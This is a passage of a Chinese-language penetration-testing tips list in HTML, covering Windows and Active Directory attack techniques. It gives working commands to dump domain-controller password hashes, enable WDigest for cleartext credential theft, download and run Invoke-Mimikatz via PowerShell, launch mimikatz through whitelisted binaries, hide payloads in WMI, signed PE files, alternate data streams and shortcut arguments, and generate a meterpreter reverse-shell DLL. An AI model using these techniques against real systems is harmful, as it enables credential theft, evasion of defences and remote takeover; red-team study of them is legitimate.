&lt;h3 id="toc_15" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 14. 针对Visual Studio的钓鱼利用&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual C++：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vcxproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual Basic：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vbproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual F#：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.fsproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio对以上任一工程编译时，能够执行任意代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Pay close attention to your download code——Visual Studio trick to run code when building》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_16" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 15. 32位程序在64位Windows系统下执行的时候，如果有对注册表和文件的操作，存在重定向&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对注册表操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对文件操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32\&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《关于32位程序在64位系统下运行中需要注意的重定向问题》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_17" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 16. 获取Windows域控所有用户hash&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_18" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制ntds.dit：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用NinjaCopy，https://github.com/3gstudent/NinjaCopy&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导出hash：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用quarkspwdump，https://github.com/quarkslab/quarkspwdump&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c：\test\ntds.dit -o c：\test\log.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_19" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用powershell：DSInternals PowerShell Module&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用条件：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows PowerShell 3.0 or 3.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;.NET Framework 4.0 or 4.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《导出当前域内所有用户hash的技术整理》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用Powershell快速导出域控所有用户Hash》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_20" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 17. 导出Windows系统明文口令&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows Server 2012默认无法使用mimikatz导出明文口令，部分Windows Server 2008也一样&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解决方法：启用Wdigest Auth&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;or&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;重启或者用户再次登录，能够导出明文口令&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Dump Clear-Text Password after KB2871997 installed》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_21" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，可选择保存在本地或是将密码上传至服务器&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Hook PasswordChangeNotify》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_22" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果管理员疏忽，域内主机使用相同的本地管理员账号，可以通过pass-the-hash远程登录域内其他主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Local Administrator Password Solution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_23" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 20. 通过powershell获取dll的导出函数&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_24" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 21. 快捷方式的参数隐藏技巧&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload放置在260个空字符之后，这样无法在文件属性查看payload，可以用来在快捷方式中隐藏payload，欺骗用户点击，隐蔽执行代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E6%96%87%E4%BB%B6%E7%9A%84%E5%8F%82%E6%95%B0%E9%9A%90%E8%97%8F%E6%8A%80%E5%B7%A7/"&gt;《渗透技巧——快捷方式文件的参数隐藏技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_25" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 22. 32位程序能够对64位进程进行远程注入&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/32%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%AF%B964%E4%BD%8D%E8%BF%9B%E7%A8%8B%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%B3%A8%E5%85%A5%E5%AE%9E%E7%8E%B0/"&gt;《32位程序对64位进程的远程注入实现》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_26" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 23. system权限的进程在某些情况下需要进行降权&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用sytem权限的进程可能会遇到以下问题:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.无法获得当前用户的文件内容&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如无法捕获用户的屏幕&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.环境变量有差异&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;因此需要降权到当前用户&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法1：使用SelectMyParent.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码下载地址：https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/"&gt;《渗透技巧——程序的降权启动》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法2：使用msdtc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用msdtc会以system权限加载oci.dll，但在管理员权限cmd执行：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msdtc -install&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动的calc.exe为high权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_27" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 24. 通过命令行能够对Windows系统安装WinPcap，这样就可以在Windows跳板上使用nmap和Masscan&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%B9%B3%E5%8F%B0%E8%BF%90%E8%A1%8CMasscan%E5%92%8CNmap/"&gt;《渗透技巧——Windows平台运行Masscan和Nmap》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_28" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 25. Windows平台执行mimikatz的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_29" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过powershell&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_30" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过InstallUtil.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过360实例》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用白名单绕过限制的更多测试》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_31" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过regsvr32.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将mimikatz封装到dll中，通过regsvr32传入参数运行mimkatz&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 katz.dll,EntryPoint log coffee exit  &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_32" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：通过msbuild.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载xml文件，保存为a.xml：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes a.xml&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/"&gt;《Use MSBuild To Do More》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_33" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：通过csi.exe&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_34" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：通过js/vbs脚本&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/5c636b8736530fb20c3d&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/"&gt;《利用JS加载.Net程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_35" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 26. Windows系统中可供存储和读取payload的位置&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_36" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：WMI&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;存储：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读取：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_37" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：包含数字签名的PE文件&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://github.com/3gstudent/Pentest-and-Development-Tips/edit/master/README.md"&gt;《隐写技巧-在PE文件的数字证书中隐藏Payload》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_38" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：特殊ADS&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)...&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)特殊COM文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt; \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)磁盘根目录&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;type putty.exe &amp;gt;C:\:putty.exe 
wmic process call create C:\:putty.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Hidden-Alternative-Data-Streams%E7%9A%84%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7/"&gt;《Hidden Alternative Data Streams的进阶利用技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_39" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 27. Windows系统中值得搜集的信息&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_40" class="h16"&gt;&lt;span class="span_for_h"&gt;(1)已注册的WMI信息&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员也许会使用WMI记录攻击者调用WMI的操作，可通过wmic查看，当然通过wmic也能关闭该监控功能&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/"&gt;《Study Notes Weekly No.1(Monitor WMI &amp;amp; ExportsToC++ &amp;amp; Use DiskCleanup bypass UAC))》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_41" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 28. Windows系统反弹meterpreter的常用方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_42" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：通过rundll32加载dll反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;msf：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080&amp;gt;./a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成a.dll,然后上传至测试主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行&lt;code&gt;rundll32.exe a.dll,Control_RunDLL&lt;/code&gt;，即可上线&lt;/span&gt;
&lt;/p&gt;

